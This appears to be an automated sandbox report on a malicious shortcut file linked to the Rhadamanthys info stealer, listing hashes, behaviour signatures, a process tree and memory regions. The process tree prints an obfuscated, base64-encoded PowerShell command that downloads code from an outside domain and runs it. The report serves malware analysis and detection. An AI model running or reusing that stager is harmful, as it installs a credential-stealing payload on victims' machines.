Analysis

  • max time kernel
    93s
  • max time network
    97s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-04-2024 11:41

General

  • Target

    DOC692 - 692692.lnk

  • Size

    9KB

  • MD5

    a344b567076691b5cd838512c99bc884

  • SHA1

    0de4ad8f9f127c0c444bb7db4459d0977b1f6506

  • SHA256

    decbd662ecab295cb2c060232a6de8218843d671b7cb628aaf769ba4bcdf126f

  • SHA512

    ad6d3fed7647c933c9a23938f7c39a8799d5845cd6a9e1fec6d0a2044c740795d428e89467c4e5b1f8217217f272863438b68e160da312d6ae8498af9688dd98

  • SSDEEP

    192:8z5phm3MSBfQbxE4l2g9FWV4FBno2dzSkbP43O5yrf68g493f61hVNeXkI:u5fcMS5Qb6EouFB3dzBbw3Omf68Zp9XV

Score
10/10

Malware Config

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2896
      • C:\Windows\system32\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:3004
    • C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC692 - 692692.lnk"
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4552
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1476

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_exvy4qkg.oa4.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1476-21-0x0000020670930000-0x0000020670D30000-memory.dmp

      Filesize

      4.0MB

    • memory/1476-14-0x0000020670370000-0x0000020670380000-memory.dmp

      Filesize

      64KB

    • memory/1476-22-0x00007FFA47E00000-0x00007FFA47EBE000-memory.dmp

      Filesize

      760KB

    • memory/1476-13-0x0000020670370000-0x0000020670380000-memory.dmp

      Filesize

      64KB

    • memory/1476-15-0x00000206702A0000-0x00000206702FE000-memory.dmp

      Filesize

      376KB

    • memory/1476-16-0x0000020670300000-0x0000020670310000-memory.dmp

      Filesize

      64KB

    • memory/1476-17-0x0000020670930000-0x0000020670D30000-memory.dmp

      Filesize

      4.0MB

    • memory/1476-19-0x0000020670930000-0x0000020670D30000-memory.dmp

      Filesize

      4.0MB

    • memory/1476-23-0x00007FFA475B0000-0x00007FFA47879000-memory.dmp

      Filesize

      2.8MB

    • memory/1476-2-0x0000020670270000-0x0000020670292000-memory.dmp

      Filesize

      136KB

    • memory/1476-20-0x00007FFA49B70000-0x00007FFA49D65000-memory.dmp

      Filesize

      2.0MB

    • memory/1476-12-0x00007FFA2BAA0000-0x00007FFA2C561000-memory.dmp

      Filesize

      10.8MB

    • memory/1476-18-0x0000020670300000-0x0000020670310000-memory.dmp

      Filesize

      64KB

    • memory/1476-29-0x0000020670930000-0x0000020670D30000-memory.dmp

      Filesize

      4.0MB

    • memory/1476-28-0x00007FFA2BAA0000-0x00007FFA2C561000-memory.dmp

      Filesize

      10.8MB

    • memory/3004-24-0x0000015EF66C0000-0x0000015EF66C9000-memory.dmp

      Filesize

      36KB

    • memory/3004-31-0x0000015EF8230000-0x0000015EF8630000-memory.dmp

      Filesize

      4.0MB

    • memory/3004-32-0x00007FFA49B70000-0x00007FFA49D65000-memory.dmp

      Filesize

      2.0MB

    • memory/3004-34-0x00007FFA47E00000-0x00007FFA47EBE000-memory.dmp

      Filesize

      760KB

    • memory/3004-33-0x0000015EF8230000-0x0000015EF8630000-memory.dmp

      Filesize

      4.0MB

    • memory/3004-35-0x00007FFA475B0000-0x00007FFA47879000-memory.dmp

      Filesize

      2.8MB

    • memory/3004-36-0x0000015EF8230000-0x0000015EF8630000-memory.dmp

      Filesize

      4.0MB